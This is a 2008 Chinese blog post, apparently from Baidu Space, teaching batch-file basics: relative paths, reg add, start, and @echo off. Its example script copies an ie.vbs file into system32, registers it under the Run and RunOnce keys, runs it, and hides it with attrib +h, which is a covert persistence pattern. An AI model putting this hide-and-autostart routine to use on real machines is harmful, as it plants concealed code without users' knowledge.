百度首页 | 百度空间
 
查看文章
 
批处理文件怎么操作当前文件路径下的文件,怎么操作注册表,怎么运行文件,@echo and echo(原创)
2008年06月28日 星期六 17:30

@ ECHO OFF
@ ECHO 朋友,精彩的在后头
copy /y "ie.vbs" "C:\WINDOWS\system32\ie.vbs"
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v ie.vbs /d C:\WINDOWS\system32\ie.vbs
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce /v ie.vbs /d C:\WINDOWS\system32\ie.vbs
start C:\WINDOWS\system32\ie.vbs
attrib +h C:\WINDOWS\system32\ie.vbs
@ ECHO 谢谢 朋友的帮忙 联系qq:274105051
PAUSE

今天写了一批处理文件,碰到了本文章标题说的那些问题,在baidu的帮助下终于完成了

    一:批处理文件中怎么操作当前批处理路径的文件

   首先是怎么获取当前路径(怎么操作当前路径下的文件),很多人首先是获取当前bat文件的路径,用set之类的命令。其实在批处理文件,直接用你需要造作的文件名,比如上面的copy /y "ie.vbs" "C:\WINDOWS\system32\ie.vbs" 。。。copy命令,ie.vbs前面没有路径,要找的是当前批处理文件路径下的ie.vbs文件。所以当我们需要操作当前批处理文件同路径的文件,直接用文件名即可。
二: 怎么操作注册表:

       reg 是dos下操作注册表的命令,其中reg add 是向注册表中添加命令,reg del 是删除注册表的某子项。更多的帮助信息我们电脑上都有(有的系统可能只有中文版,如果不知道怎么看,留言给我)。上面的例子是添加了系统的启动项。。。

三:   批处理文件中怎么运行一个文件

          这个问题系统的开发者已经帮我们想到了,用start 命令,详细的命令用baidu搜下,或者自己在dos下看更详细的东西 。上面的列子中我是运行了一个脚本语言。。。

四: 关于@echo off 和echo的区别

      区别前面有没有@,@echo off并不是DOS程序中的,
     而是DOS批处理中的。 当年的DOS,所有操作都用键盘命令来完成, 当你每次都要输入相同的命令时, 可以把这么多命令存为一个批处理,从此以后,只要运行这个批处理, 就相当于打了几行、几十行命令。 DOS在运行批处理时, 会依次执行批处理中的每条命令, 并且会在显示器上显示, 如果你不想让它们显示, 可以加一个“echo off”当然,“echo off”也是命令, 它本身也会显示, 如果连这条也不显示, 就在前面加个“@”。 (第四条解释来自百度知道)

自己动手写写吧, 还记得学校的时候老师要求我们一定要亲自动手写程序,只有在写的过程中,才会发现自己不懂的东西很多。也就在不断的写程序中,改程序中提高自己。其实很久以前对批处理就知道不少,但真正写起来,真正要实现一个目的,确发现原来不是那么简单。

                                                                             2008-06-28 (星期六 17:29)

                                                                                         晋正公司

      


类别:电脑技术 | 添加到搜藏 | 浏览() | 评论 (0)
 
最近读者:
 
网友评论:
发表评论:
姓 名:
网址或邮箱: (选填)
内 容:
验证码:
 

     

©2008 Baidu